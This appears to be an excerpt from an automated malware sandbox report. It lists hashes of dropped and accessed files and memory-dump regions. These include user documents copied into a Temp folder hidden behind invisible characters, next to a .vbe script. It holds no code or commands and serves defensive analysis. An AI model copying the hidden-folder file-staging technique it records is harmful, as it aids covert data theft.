C:\Users\Admin\AppData\Roaming\httptoolkit\DawnCache\data_2

MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

C:\Users\Admin\AppData\Roaming\httptoolkit\Network\TransportSecurity

MD5 0dca8e8e85999cd3b5694d80b4589cea
SHA1 07cd2db7e8c48beb5b7826b98afe35041a7e5de8
SHA256 ca7414458a30ef54ffca39c7272b49839fb780a6303614e9a75aae4ebbfd3eb8
SHA512 0a4e39b68c3340fad4513bcae5102f3e6134d77572ce0fbcbfb6b29f17b60c8aa448573aa5c22f20e5dc7c9d709575b05ffb9f4514145d2ee936f8ce3e118e9f

C:\Users\Admin\AppData\Roaming\httptoolkit\Network\Network Persistent State

MD5 12cc0bf28cb9aa6f122c24c5fa30eb18
SHA1 80abbca3eb2b63c57e63821a3988842e6c103482
SHA256 5c592946c6c91ce9bd2d1b869e51d20617e984739d978cb182ec1497be2fa2bc
SHA512 d01a86e4e56306ae556ea1db3e669bfd908ae965fabe18dd39965c63dae901b4e47cc4dc95d01058fd781f47a9f20caab145100b1b953f7260903fab7066293c

memory/5496-2160-0x00007FF82B0E0000-0x00007FF82B54E000-memory.dmp

memory/5496-2162-0x00007FF842CA0000-0x00007FF842CAF000-memory.dmp

memory/5496-2161-0x00007FF83E910000-0x00007FF83E934000-memory.dmp

memory/5496-2167-0x00007FF83E8E0000-0x00007FF83E90D000-memory.dmp

memory/5496-2168-0x00007FF83E8C0000-0x00007FF83E8D9000-memory.dmp

memory/5496-2169-0x00007FF83E860000-0x00007FF83E87F000-memory.dmp

memory/5496-2170-0x00007FF83AFD0000-0x00007FF83B141000-memory.dmp

memory/5496-2171-0x00007FF83B720000-0x00007FF83B739000-memory.dmp

memory/5496-2172-0x00007FF83EA00000-0x00007FF83EA0D000-memory.dmp

memory/5496-2173-0x00007FF83B430000-0x00007FF83B45E000-memory.dmp

memory/5496-2174-0x00007FF82B0E0000-0x00007FF82B54E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Desktop\UseSave.xlsx

MD5 f3bdd6a2e2f41919c55b0f1f3916950d
SHA1 815bead51bef8ca971426859634806bc6ea8ac9c
SHA256 15a9aa25dbb0ebacb573a3335352bf4e50c2519252ab298a373d2c8d30debf74
SHA512 249c32c8c7c43ad5fff984a37235a8e4e31d546553b9a43963a3d4a423fcf0cb65865caaf0e164748066c0936c84e175ffc5ba7b4c06e115f0bb5255866b6a91

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Downloads\WriteRegister.docx

MD5 c90c92e56a1cc28c301b55d9e4296d0f
SHA1 4b5d10df1cd2a4f4eb1fb7d9d808a2ff514cf5ce
SHA256 2571379a8d3670f3e5594da5ad75365bd1728bed5904162530ec07de08bd57b6
SHA512 e6ba7e242eb29f4996ab493e05944d96863961c9544ad6afb10709216a36beee841638ee9404f246984f6ccd0d2b13fb6c20a713aa468a94e2ef4b3b4e82de25

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Downloads\OptimizeEnter.jpg

MD5 13e19886290ab55678e919e03d51fd33
SHA1 0a21c3356df7bb345d9bf6e522770951a752f5e0
SHA256 7c104db8207bef62124b15f255ca64f08931dfaed368544091ae2917cdab1640
SHA512 3b4cd098ef8ca686f6def1dafe50f23dc5c82f3332c396bee57e28ede4bec286c6d4bbb0059a7cf4bc5a2e76c26bc3928df1facdaf2aeaf22ac0581d64d34739

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Downloads\FindRemove.jpg

MD5 f7e4fba6a0f82e0591cb238bba023549
SHA1 6868c41c5d053262fb4750c2ec24c4303021b4eb
SHA256 6d0e61afc072c519d0b575f95f0389eb42b83267daa00cb8f1efd3c582ff3ea4
SHA512 0a77758818d0f77e96d2112e7e4fc9a2b515633a28ae7684c58843e823db317d34dce5e32196c2692b90d384696d5d2917647f62ab1852cc71bb6b14f6ba8b47

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Pictures\My Wallpaper.jpg

MD5 a51464e41d75b2aa2b00ca31ea2ce7eb
SHA1 5b94362ac6a23c5aba706e8bfd11a5d8bab6097d
SHA256 16d5506b6663085b1acd80644ffa5363c158e390da67ed31298b85ddf0ad353f
SHA512 b2a09d52c211e7100e3e68d88c13394c64f23bf2ec3ca25b109ffb1e1a96a054f0e0d25d2f2a0c2145616eabc88c51d63023cef5faa7b49129d020f67ab0b1ff

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Downloads\ClearNew.jpg

MD5 f58496cbfaab3a484b067948c705d38f
SHA1 3c49d9f266362093719f8369b7906208736fee97
SHA256 7fb636cd979ab38941e062aa177b12e47706e0de7e82a6e545a14df77dc9f79a
SHA512 dbcb21ce488b02eabe6c2e6c0a989bc2220143ad223e1b357e090634560f14574acb4e28fc25c23910bbb0669c9ac6a51ece3c4ec4f1b8d356847f4ff4bc537b

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Downloads\BackupPop.vbe

MD5 a87c51825651306c1f5b6d112b191fd4
SHA1 dd349001eafdcf187ff0a686d643269ada525af2
SHA256 1957521b80846253637bbcfbefe1e5cfebde18760ede5d5ce49c38b75c5d6be2
SHA512 0605e85fe29d40a1b5719e88710faa5cf2815aa485a77f9151cd0232857b9deda2421b842f5d51e8e79f06295464e3623d08a858c1d2962ac82d59d2ebbbd048

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Music\SwitchUpdate.png

MD5 811a9249b578741f5e0bf14eb65a2ca9
SHA1 7b2827e6300b1ebcf5772d5ca272df54d80e6797
SHA256 94d32c843df8b1974c25cac142fe5c1e85af8cce4920977aeaf4bdc369a7eaa0
SHA512 612d12a14eceacc8f545e6650f1c529edb47e190e6919ec93ed3c3c96d3ca21e39db14b2f31aa43f2a36fa9af6a07bcfbd815891634615cee9675ca8ef52c269

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Music\ConvertToOptimize.txt

MD5 0105c639ce5cfb7e52e1a0fc49b0e969
SHA1 e7f3201281de4eea8f8ebbdbd58dcdfefe3c285a
SHA256 7a387b7e76fa4f79ddb550ab8cb1df696024b78014af1729a2c430fbaf5bd0c7
SHA512 7155348324cc1c3028407f73c0e894a53dfb7eb1a797db1868b9a82ca4cbb029c97ea9d5e229788d78e85a3f905367b9bacd4ce8e0614e0a8a10ee46951fd4da

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Documents\UpdateTrace.xlsx

MD5 1db369bbfa752b543a45de52571acc23
SHA1 0235f0f2ac0540ccdb71c26ec0ca8c456de19994
SHA256 2d8ccbba8fc7f6abb9220541c1b47c54886c6b60ef5bf3dc3975227a35cb86a8
SHA512 057b8954c0ff9069596def8bd8f4963f3db19382444d38c809eba068ce9b132cec8cddf7f515e4adaece83a682c97ca36b731bc898f2108bbe9328af08d1fe1a

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Documents\SyncStep.csv

MD5 fa1950487786abb24a59e7094803b2e6
SHA1 da9676fb6f5aab114d08991cde1a72f0c20c6eb7
SHA256 3a28f759205910fb5e5e1d8f6d54816fc44f5858ef0d9f4a9494251babea036d
SHA512 c49cbe263c38aafc552dcc2598c311c96257c9342d4d7240dfd8d8266884a479b74fe6ff73eea18ad8b321a404390a29bd37f5e17572eda68fff282f889240e0

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Documents\SyncProtect.xls

MD5 fc9f532fa07c114420da413ccc8ea395
SHA1 cb10c83e8d5e16a8ba6af58e333574cf3774ad88
SHA256 f1a215c2920b980ca493ac9397d4549a1cc9a0b7cac809102a647dfbe797949d
SHA512 5c174ad610d8fb52370a62e118b6f63255c05a6e2086e7242bf65bb7a885ee2a9d290792fc20e6e729404205ee17932a8370cf7ff81c31d87a5d94221cc166e9

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Documents\SuspendReceive.xls

MD5 c65b07ca9d0c358ff7726620ecb15071
SHA1 95d47b230967491a86dced1aaabf1e808a3e125e
SHA256 42a73ce899a15645ac926d4ef1504e92946c409441d7ce2b435bb39fd7803b9f
SHA512 27000f81c9b5a8a7f2e43cc3e3a79be7d8b239c3e3b902c3f0bd8228d7d42d84cd2e1a45052f15cd539c89b9a857665f79d24568e38876f9445c1192876a668d

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Documents\SubmitProtect.doc

MD5 a63c397409ef020edf9ea5098d918968
SHA1 2b64a9e070acbf057a85a48abc946a8b3a6c7be9
SHA256 ce0645cadf7f628815a8015fbfdf13fb2773f5d7a2b073c9d9c057a7fa524134
SHA512 197d42f54007d30097f1c0b8358f523a1166e1d27b0138e7614fa946a2a5eb716ec854f8cf63cfde283f4b0feb617e25ff6a64128f2789bf731b44197d8397dc

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Documents\ResetSuspend.txt

MD5 62eb9bcec259cece1641d3ca4369171a
SHA1 2a307cb84872ab5737afd3718facf13512b75ac7
SHA256 2ff71b1e96b27b02fe4b03336f13acd1e381e84678045c672722ab9c8022047f
SHA512 2a08e009cb8f9915269984016e8cb982079da50496dcb5ec05a3e374f32742669a730fe0f0afc20ab357f25d8deba5bb6e4b97552220dd51db4b1b4b308668b8

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Documents\ProtectTrace.doc

MD5 41f12f45b2830f677c99a529e49bb160
SHA1 2a501f6f98d29b41f8a63d4fa15ecfb81f7da7c7
SHA256 e7285303b8eb50a4bc486987389e56b1c2ce444d22be9ca8d00e5ef6f9333cd8
SHA512 c51f6b8112cdb6a5d2c2307911cd632b7d5f30568d3da1a48f942b38d5c5f09eb67440fcbf84418a1089f0ff12f2fb534862cc246f2fb0a70550a1f86b333f91

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Documents\OptimizeExit.docx

MD5 534218ce7ba85062c9cd006bc627af6a
SHA1 dcd3b5fb41a8b9b174e15877247603225e386fed
SHA256 1679a545e3a9dd643740747fdb032c87ed7647e90b31244181fa31135849ab4c
SHA512 cdeae7ac4ffd0dcd0e8dd5289542c386499d7858f602b516d6db72c49835f17af03bb6d921e0f4f068280a5d68d284af172ca52c9b50c7898ad871de5cf546a8

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Documents\NewPush.docx

MD5 1e2abf4cfa0da74ed9c20cbc60ef48c7
SHA1 8078b936c281769c041934c09bbd9a3295a6592f
SHA256 05a541851b36233242eeb550681500be7dedef0cfd0626d0043e096415d97321
SHA512 ca0168675e89eda35a95f778efcfe7d7c11ff895bec40f10cccbbcd5e1ed1b2323ed0b3d1e54fd8523f485c1b36a1a78a1c65b42bace64ad982789863da1527a

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Documents\GetRead.xlsx

MD5 b6435fb266e2b161c8539c1e84ebcb0a
SHA1 d8bb282c90baef5b3ee4c4e2f8e194cd89620043
SHA256 472811653172ef0cf6516f862932ec55f05b4208e3e48950076fd28ac18447ac
SHA512 41b3c9ae774504f92ddcafe68bec8a49097088c05de1c52aac83b241878ee028972fc93470235989464690c10b56eb478b934c17bc30b1fedf5259c37198844c

C:\Users\Admin\AppData\Local\Temp\   ​     ​\Common Files\Pictures\UnregisterOpen.jpeg

MD5 a1fb7b4692d043ec4417aeb16d0bc96d
SHA1 e1e11d1db8b02d4bbe774dea9a3cd3b726f645de
SHA256 5ea9cc4c5e620272e449b5b7558c86168c20573ddae4f4cc850eea613d9cf5b8
SHA512 62cd9739d1c43f919c3c5c57094c13babe37431f082ee84e2569d6a011926285142c63a54880a4529b63f6da470282fa4431f280e46f16cd10b2b9956eedd4f8

C:\Users\Admin\AppData\Local\Temp\HObM4JpIqZ.tmp

MD5 03c6d9559386ef3d519449fa31417de3
SHA1 e584a2b5d947da8f305940f5ba75912304965d32
SHA256 af106556de661eecf70dddbaaa534f6c5dcb0ab01570e05652be36de1aa5755e
SHA512 ca1eaacb81ed2257e3cf15d14a5a37a88191b3d95d03bf165b2f924098960c146c701423d3e35569f8ce70e6b19bb55f61ed780151ab2a9e0e721bb28e11a767

C:\Users\Admin\AppData\Local\Temp\NaByBgpVI5.tmp

MD5 16050e98f6463e25f5ef91a4aa90bf62
SHA1 77219a5d126aa669a40427d75856f7cffe0addc0
SHA256 ed59967d3f1192e8b4e8598c064a895e765ec7219ebef36b7d96b75f4b8646f9
SHA512 21528e043ab3cadd308ebc183bd20e10298383fb67a610a7a544cf68324d69e3d5ebbd40087628bfe10fa5a0b9a7a02b8aaef4e8122b26529b4c09cb3db1670c

C:\Users\Admin\AppData\Local\Temp\m97chmMGvE.tmp

MD5 56c741e8ac31f1299197eb34da3792b9
SHA1 dcee6b3d18e6fb16e7c4104e83e3a008462a3854
SHA256 62ed12a4a7a6e1d4e879ccc3e66e5b30054381a4c8fcca6b676dbd4e2511c565
SHA512 1f2f22997160f79fea75bb8134482576fbbcf0a451819ec3ac18c563420d484cb7b304a2f987224de4f670681743fa9c6494128e8196313c3d767b735dc560e5